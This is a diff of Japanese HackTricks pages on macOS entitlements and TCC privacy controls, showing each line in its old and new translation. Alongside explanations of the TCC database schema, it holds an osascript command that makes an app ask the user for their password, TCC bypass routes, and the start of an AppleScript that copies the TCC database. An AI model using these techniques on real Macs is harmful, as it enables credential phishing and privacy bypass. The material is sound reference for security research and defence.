||||
この権限は **`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、**ライブラリの検証を直接無効にする**代わりに、プロセスがそれを無効にするために `csops` システムコールを呼び出すことができるようにします。詳細については[**こちらを参照**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)してください。
|
||||
この権限は**`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、ライブラリ検証を**直接無効にする**のではなく、プロセスが`csops`システムコールを呼び出して無効にすることを**許可**します。\
|
||||
[**こちらを参照してください**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
この権限により、ライブラリやコードを注入するために使用される可能性のある **DYLD環境変数** を使用することができます。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)してください。
|
||||
この権限は、ライブラリやコードを注入するために使用できる**DYLD環境変数の使用を許可**します。[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。
|
||||
|
||||
### `com.apple.private.tcc.manager` または `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
[**このブログ**](https://objective-see.org/blog/blog\_0x4C.html) **および** [**このブログ**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)によると、これらの権限により、**TCC** データベースを **変更**することができます。
|
||||
[**このブログ**](https://objective-see.org/blog/blog\_0x4C.html) **と** [**このブログ**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)によると、これらの権限は**TCC**データベースを**変更することを許可**します。
|
||||
|
||||
### **`system.install.apple-software`** および **`system.install.apple-software.standar-user`**
|
||||
### **`system.install.apple-software`** と **`system.install.apple-software.standar-user`**
|
||||
|
||||
これらの権限により、ユーザーの許可を求めることなくソフトウェアを **インストール**することができます。これは特権エスカレーションに役立ちます。
|
||||
これらの権限は、ユーザーに許可を求めずに**ソフトウェアをインストールすることを許可**します。これは**権限昇格**に役立つ可能性があります。
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
カーネルにカーネル拡張をロードするために必要な権限です。
|
||||
**カーネルにカーネル拡張をロードするように要求する**ために必要な権限です。
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
権限 **`com.apple.private.icloud-account-access`** を使用すると、**`com.apple.iCloudHelper`** XPCサービスと通信し、iCloudトークンを提供することができます。
|
||||
**`com.apple.private.icloud-account-access`** 権限を持つと、**`com.apple.iCloudHelper`** XPCサービスと通信し、**iCloudトークンを提供する**ことが可能です。
|
||||
|
||||
**iMovie** と **Garageband** にはこの権限があります。
|
||||
**iMovie** と **Garageband** はこの権限を持っていました。
|
||||
|
||||
その権限からiCloudトークンを**取得するためのエクスプロイトについての詳細情報**は、トーク: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)をチェックしてください。
|
||||
|
||||
この権限から **icloudトークンを取得する** 攻撃についての詳細は、以下のトークを参照してください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
TODO: これが何を許可するのかわかりません
|
||||
TODO: これが何を許可するのかはわかりません
|
||||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **には、再起動後にSSVで保護されたコンテンツを更新するために使用できる可能性があると述べられています。方法を知っている場合は、PRを送ってください!**
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)には、これを使用してリブート後にSSV保護されたコンテンツを更新することができると**言及されています**。方法を知っている場合はPRを送ってください!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **には、再起動後にSSVで保護されたコンテンツを更新するために使用できる可能性があると述べられています。方法を知っている場合は、PRを送ってください!**
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)には、これを使用してリブート後にSSV保護されたコンテンツを更新することができると**言及されています**。方法を知っている場合はPRを送ってください!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
このエンタイトルメントは、アプリケーションがアクセスできる**キーチェーン**グループのリストです:
|
||||
この権限はアプリケーションがアクセスできる**キーチェーン**グループをリストします:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -96,13 +98,13 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
|||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
**フルディスクアクセス**権限を与えます。これは、TCCで最も高い権限の1つです。
|
||||
**フルディスクアクセス**権限を与えます。これはTCCで最も高い権限の一つです。
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
このアプリは、**タスクの自動化**に一般的に使用される他のアプリにイベントを送信することができます。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
|
||||
アプリに他のアプリケーションへイベントを送信することを許可し、これは一般的に**タスクの自動化**に使用されます。他のアプリを制御することで、それらのアプリに付与された権限を悪用することができます。
|
||||
|
||||
例えば、ユーザーにパスワードを求めるように他のアプリに指示することができます:
|
||||
例えば、ユーザーにパスワードを求めるようにさせることです:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -110,44 +112,48 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
または、それらに**任意のアクションを実行**させることができます。
|
||||
または、**任意のアクション**を実行させること。
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
他の権限の中には、**ユーザーのTCCデータベースを書き込む**ことができるものもあります。
|
||||
他の権限の中でも、**ユーザーのTCCデータベースを書き込む**ことを許可します。
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
ユーザーがホームフォルダのパスを変更するために**`NFSHomeDirectory`**属性を**変更**することができ、それによって**TCCをバイパス**することができます。
|
||||
**`NFSHomeDirectory`** 属性を変更して、ユーザーのホームフォルダのパスを変更し、それによって**TCCをバイパス**することを許可します。
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
デフォルトでは**許可されていない**アプリ内のファイル(app.app内のアプリ内バンドル内のファイル)を変更することができます。
|
||||
デフォルトでは禁止されているアプリバンドル内(app.app内)のファイルを変更することを許可します。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
このアクセス権を持っているユーザーは、_システム設定_ > _プライバシーとセキュリティ_ > _アプリの管理_で確認することができます。
|
||||
このアクセス権を持っている人を _システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_ で確認することができます。
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
このプロセスは、macOSのアクセシビリティ機能を**悪用**することができます。つまり、例えばキーストロークを押すことができます。したがって、Finderのようなアプリの制御を要求し、この権限でダイアログを承認することができます。
|
||||
|
||||
## 中程度
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
この権限を持つと、`mmap()`システム関数に`MAP_JIT`フラグを渡すことで、**書き込みと実行が可能なメモリ**を作成することができます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
|
||||
この権限は、`mmap()` システム関数に `MAP_JIT` フラグを渡すことで、**書き込み可能で実行可能なメモリを作成**することを許可します。[**こちらで詳細を確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
この権限を持つと、Cコードを**オーバーライドまたはパッチ**することができ、長期間非推奨とされている**`NSCreateObjectFileImageFromMemory`**(基本的には安全ではない)を使用することができます。また、**DVDPlayback**フレームワークも使用できます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。
|
||||
この権限は、**Cコードをオーバーライドまたはパッチ**すること、長い間非推奨とされている**`NSCreateObjectFileImageFromMemory`**(根本的に安全でない)を使用すること、または**DVDPlayback**フレームワークを使用することを許可します。[**こちらで詳細を確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
この権限を含めると、アプリはメモリの安全でないコード言語における一般的な脆弱性にさらされる可能性があります。この例外が必要かどうかを慎重に考慮してください。
|
||||
この権限を含めることは、メモリ安全でないコード言語の一般的な脆弱性にアプリをさらすことになります。アプリがこの例外を必要とするかどうか慎重に検討してください。
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
この権限を持つと、自身の実行可能ファイルのディスク上のセクションを**強制的に変更**して終了することができます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
|
||||
この権限は、ディスク上の自身の実行可能ファイルのセクションを強制的に変更することを許可します。[**こちらで詳細を確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
Disable Executable Memory Protection Entitlementは、アプリの基本的なセキュリティ保護を削除する極端な権限であり、攻撃者が検出されずにアプリの実行可能コードを書き換えることが可能になります。可能な限り狭い範囲の権限を使用してください。
|
||||
実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を取り除く極端な権限であり、攻撃者が検出されることなくアプリの実行コードを書き換える可能性を生じさせます。可能であれば、より狭い範囲の権限を優先してください。
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
@ -156,11 +162,11 @@ TODO
|
|||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
この権限を持つと、通常は禁止されているnullfsファイルシステムをマウントすることができます。ツール:[**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master)。
|
||||
この権限は、nullfsファイルシステムをマウントすることを許可します(デフォルトでは禁止されています)。ツール: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master)。
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
このブログポストによると、このTCC権限は通常、次の形式で見つかります:
|
||||
このブログポストによると、通常このTCC権限は以下の形で見つかります:
|
||||
```
|
||||
[Key] com.apple.private.tcc.allow-prompting
|
||||
[Value]
|
||||
|
@ -169,15 +175,16 @@ TODO
|
|||
```
|
||||
プロセスに**すべてのTCC権限を要求する**ことを許可します。
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社の広告を掲載**したいですか? または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に従ってください。**
|
||||
* **ハッキングのコツを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) と [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,11 +4,11 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を見たいですか?** または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?** [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を見たい**ですか?または、**PEASSの最新バージョンにアクセス**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。**
|
||||
* **[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、ハッキングのコツを共有してください。**
|
||||
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,7 +18,7 @@
|
|||
|
||||
ユーザーの視点からは、アプリケーションがTCCによって保護されている機能へのアクセスを求めるときに、**TCCが動作しているのを見ることができます**。このとき、**ユーザーにはダイアログが表示され**、アクセスを許可するかどうかを尋ねられます。
|
||||
|
||||
また、ユーザーがプログラムにファイルを**ドラッグ&ドロップする**など、ユーザーの**明示的な意図**によってアプリにファイルへのアクセスを**許可する**ことも可能です(もちろん、プログラムはそれにアクセスできるべきです)。
|
||||
また、ユーザーがプログラムにファイルを**ドラッグ&ドロップする**など、ユーザーの**明示的な意図**によってアプリにファイルへのアクセスを**許可する**ことも可能です(明らかにプログラムはそれにアクセスできるべきです)。
|
||||
|
||||
![TCCプロンプトの例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
|
@ -32,7 +32,7 @@ ps -ef | grep tcc
|
|||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
```
|
||||
権限は**親アプリケーションから継承され**、**権限**は**Bundle ID**と**Developer ID**に基づいて**追跡されます**。
|
||||
権限は**親アプリケーションから継承され**、権限は**Bundle ID**と**Developer ID**に基づいて**追跡されます**。
|
||||
|
||||
### TCC データベース
|
||||
|
||||
|
@ -44,15 +44,15 @@ ps -ef | grep tcc
|
|||
* このデータベースは保護されているため、フルディスクアクセスのような高い TCC 権限を持つプロセスのみが書き込むことができます(しかし、SIP によって保護されていません)。
|
||||
|
||||
{% hint style="warning" %}
|
||||
前述のデータベースは読み取りアクセスに対しても **TCC で保護されています**。そのため、TCC 権限を持つプロセスからでない限り、通常のユーザー TCC データベースを**読むことはできません**。
|
||||
前述のデータベースは読み取りアクセスに対しても **TCC で保護されています**。そのため、TCC 権限を持つプロセスからでない限り、通常のユーザー TCC データベースを読むことは**できません**。
|
||||
|
||||
ただし、これらの高権限(**FDA** や **`kTCCServiceEndpointSecurityClient`** のような)を持つプロセスは、ユーザーの TCC データベースに書き込むことができることを覚えておいてください。
|
||||
ただし、これらの高い権限を持つプロセス(**FDA** や **`kTCCServiceEndpointSecurityClient`** など)は、ユーザーの TCC データベースに書き込むことができることを覚えておいてください。
|
||||
{% endhint %}
|
||||
|
||||
* **位置情報サービス**へのアクセスを許可するクライアントを示す **3番目** の TCC データベースが **`/var/db/locationd/clients.plist`** にあります。
|
||||
* SIP 保護されたファイル **`/Users/carlospolop/Downloads/REG.db`**(TCC による読み取りアクセスからも保護されています)には、すべての**有効な TCC データベース**の**位置情報**が含まれています。
|
||||
* SIP 保護されたファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(TCC による読み取りアクセスからも保護されています)には、さらに多くの TCC 付与権限が含まれています。
|
||||
* SIP 保護されたファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(しかし誰でも読むことができます)は、TCC 例外が必要なアプリケーションの許可リストです。 
|
||||
* SIP 保護されたファイル **`/Users/carlospolop/Downloads/REG.db`**(TCC によって読み取りアクセスも保護されています)には、すべての**有効な TCC データベース**の**位置情報**が含まれています。
|
||||
* SIP 保護されたファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(TCC によって読み取りアクセスも保護されています)には、さらに多くの TCC 付与権限が含まれています。
|
||||
* SIP 保護されたファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(しかし誰でも読める)は、TCC 例外が必要なアプリケーションの許可リストです。
|
||||
|
||||
{% hint style="success" %}
|
||||
**iOS** の TCC データベースは **`/private/var/mobile/Library/TCC/TCC.db`** にあります。
|
||||
|
@ -70,7 +70,7 @@ com.apple.rootless.storage.TCC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
しかし、ユーザーは**`tccutil`** コマンドラインユーティリティを使って**ルールを削除または照会**することができます。
|
||||
しかし、ユーザーは**`tccutil`** コマンドラインユーティリティを使用して、**ルールを削除または照会**することができます。
|
||||
{% endhint %}
|
||||
|
||||
#### データベースの照会
|
||||
|
@ -126,7 +126,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
両方のデータベースをチェックすることで、アプリが許可している権限、禁止している権限、または持っていない権限(要求される)を確認できます。
|
||||
{% endhint %}
|
||||
|
||||
* **`service`** はTCCの**権限**の文字列表現です
|
||||
* **`service`** はTCC **権限**の文字列表現です
|
||||
* **`client`** は権限を持つ**バンドルID**または**バイナリへのパス**です
|
||||
* **`client_type`** はそれがバンドル識別子(0)か絶対パス(1)かを示します
|
||||
|
||||
|
@ -134,7 +134,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
|
||||
<summary>絶対パスの場合の実行方法</summary>
|
||||
|
||||
**`launctl load you_bin.plist`** を実行するだけです。plistは以下のようになります:
|
||||
**`launctl load you_bin.plist`** を実行してください。plistは以下のようになります:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -171,11 +171,13 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
</details>
|
||||
<details>
|
||||
|
||||
* **`auth_value`** には異なる値があります: denied(0), unknown(1), allowed(2), limited(3)。
|
||||
* **`auth_reason`** は以下の値を取ることができます: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* **csreq** フィールドは、バイナリを検証してTCC権限を付与する方法を示しています:
|
||||
* **`auth_value`** は、異なる値を取ることができます:denied(0)、unknown(1)、allowed(2)、または limited(3)。
|
||||
* **`auth_reason`** は、次の値を取ることができます:Error(1)、User Consent(2)、User Set(3)、System Set(4)、Service Policy(5)、MDM Policy(6)、Override Policy(7)、Missing usage string(8)、Prompt Timeout(9)、Preflight Unknown(10)、Entitled(11)、App Type Policy(12)
|
||||
* **csreq** フィールドは、実行するバイナリを検証し、TCC権限を付与する方法を示すために存在します:
|
||||
|
||||
</details>
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -196,7 +198,7 @@ echo "X'$REQ_HEX'"
|
|||
アプリに**既に与えられている権限**を `システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ` で確認することもできます。
|
||||
|
||||
{% hint style="success" %}
|
||||
ユーザーは **`tccutil`** を使用してルールを**削除または照会**_できます_。 
|
||||
ユーザーは **`tccutil`** を使用してルールを**削除または照会** _できます_ 。 
|
||||
{% endhint %}
|
||||
|
||||
#### TCC権限のリセット
|
||||
|
@ -209,7 +211,7 @@ tccutil reset All
|
|||
```
|
||||
### TCC 署名チェック
|
||||
|
||||
TCC **データベース**はアプリケーションの**Bundle ID**を保存しますが、許可を求めるアプリが正しいものであることを**確認する**ために、**署名**に関する**情報**も**保存**します。
|
||||
TCC **データベース**はアプリケーションの**Bundle ID**を保存しますが、許可を求めるアプリが正しいものであることを**確認する**ために、**署名**に関する**情報**も**保存**しています。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -226,17 +228,17 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
したがって、同じ名前とバンドルIDを使用する他のアプリケーションは、他のアプリに付与された権限にアクセスすることができません。
|
||||
したがって、同じ名前とバンドルIDを使用する他のアプリケーションは、他のアプリに与えられた許可された権限にアクセスすることができません。
|
||||
{% endhint %}
|
||||
|
||||
### エンタイトルメントとTCC権限
|
||||
|
||||
アプリは、リソースへの**アクセスを要求し、アクセスが許可されるだけでなく**、**関連するエンタイトルメントを持っている必要があります**。\
|
||||
アプリはリソースへの**アクセスを要求し、許可を得るだけでなく**、**関連するエンタイトルメントを持っている必要があります**。\
|
||||
例えば**Telegram**は、**カメラへのアクセスを要求する**ために`com.apple.security.device.camera`というエンタイトルメントを持っています。この**エンタイトルメントを持っていないアプリ**はカメラにアクセスすることが**できず**、ユーザーに権限を求めることもありません。
|
||||
|
||||
しかし、`~/Desktop`、`~/Downloads`、`~/Documents`などの**特定のユーザーフォルダへのアクセス**には、特定の**エンタイトルメントは必要ありません**。システムはアクセスを透過的に処理し、必要に応じて**ユーザーにプロンプトを表示します**。
|
||||
しかし、`~/Desktop`、`~/Downloads`、`~/Documents`などの**特定のユーザーフォルダにアクセスする**ためには、アプリは特定の**エンタイトルメントを持っている必要はありません**。システムはアクセスを透過的に処理し、必要に応じて**ユーザーにプロンプトを表示します**。
|
||||
|
||||
Appleのアプリは**プロンプトを生成しません**。それらは**エンタイトルメントリストに事前に付与された権利を含んでおり**、**ポップアップを生成することはなく**、**TCCデータベースにも表示されません**。例えば:
|
||||
Appleのアプリは**プロンプトを生成しません**。それらは**エンタイトルメントリストに事前に付与された権利を含んでおり**、決して**ポップアップを生成することはなく**、**TCCデータベースにも表示されません**。例えば:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -250,15 +252,15 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
この操作により、カレンダーがリマインダー、カレンダー、およびアドレス帳へのアクセスをユーザーに求めることを避けることができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
エンタイトルメントに関する公式ドキュメントの他に、[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) でエンタイトルメントに関する**興味深い非公式情報**も見つけることができます。
|
||||
エンタイトルメントに関する公式ドキュメントに加えて、[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) でエンタイトルメントに関する**興味深い非公式情報**も見つけることができます。
|
||||
{% endhint %}
|
||||
|
||||
いくつかのTCC権限には、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどがあります。これらをすべて定義する公開リストはありませんが、[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)を確認できます。
|
||||
いくつかのTCC権限には、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどがあります。これらをすべて定義する公開リストはありませんが、[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)を確認することができます。
|
||||
|
||||
### センシティブで保護されていない場所
|
||||
|
||||
* $HOME(自体)
|
||||
* $HOME/.ssh、$HOME/.aws など
|
||||
* $HOME/.ssh、$HOME/.awsなど
|
||||
* /tmp
|
||||
|
||||
### ユーザーの意図 / com.apple.macl
|
||||
|
@ -281,7 +283,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
|||
{% hint style="info" %}
|
||||
**`com.apple.macl`** 属性は、tccdではなく**Sandbox**によって管理されていることが興味深いです。
|
||||
|
||||
また、あなたのコンピューターのアプリのUUIDを許可するファイルを別のコンピューターに移動した場合、同じアプリでも異なるUIDを持つため、そのアプリにアクセスを許可しないことに注意してください。
|
||||
また、あなたのコンピューターのアプリのUUIDを許可するファイルを別のコンピューターに移動した場合、同じアプリが異なるUIDを持つため、そのアプリにアクセスを許可しないことに注意してください。
|
||||
{% endhint %}
|
||||
|
||||
拡張属性 `com.apple.macl` は、**SIPによって保護されている**ため、他の拡張属性のように**クリアすることはできません**。しかし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを**圧縮**して、**削除**してから**解凍**することで無効にすることが可能です。
|
||||
|
@ -336,16 +338,24 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
```
|
||||
</details>
|
||||
|
||||
### Automation (Finder) to FDA\*
|
||||
### TCCペイロード
|
||||
|
||||
TCCのAutomation権限の名前は: **`kTCCServiceAppleEvents`**\
|
||||
TCCの権限を持つアプリ内に侵入した場合、それらを悪用する以下のページにあるTCCペイロードを確認してください:
|
||||
|
||||
{% content-ref url="macos-tcc-payloads.md" %}
|
||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Automation (Finder) から FDA\* へ
|
||||
|
||||
Automation権限のTCC名は:**`kTCCServiceAppleEvents`**\
|
||||
この特定のTCC権限は、TCCデータベース内で**管理できるアプリケーション**も示しています(つまり、権限はすべてを管理できるわけではありません)。
|
||||
|
||||
**Finder**は、UIに表示されなくても**常にFDAを持っている**アプリケーションです。したがって、Finderに対する**Automation**権限を持っている場合、その権限を悪用して**特定のアクションを実行させる**ことができます。\
|
||||
**Finder**は、UIに表示されなくても**常にFDAを持っている**アプリケーションです。したがって、Finderに対する**Automation**権限を持っている場合、その権限を悪用して**いくつかのアクションを実行させる**ことができます。\
|
||||
この場合、あなたのアプリは**`com.apple.Finder`**に対する**`kTCCServiceAppleEvents`**の権限が必要になります。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Steal users TCC.db" %}
|
||||
{% tab title="ユーザーのTCC.dbを盗む" %}
|
||||
```applescript
|
||||
# This AppleScript will copy the system TCC database into /tmp
|
||||
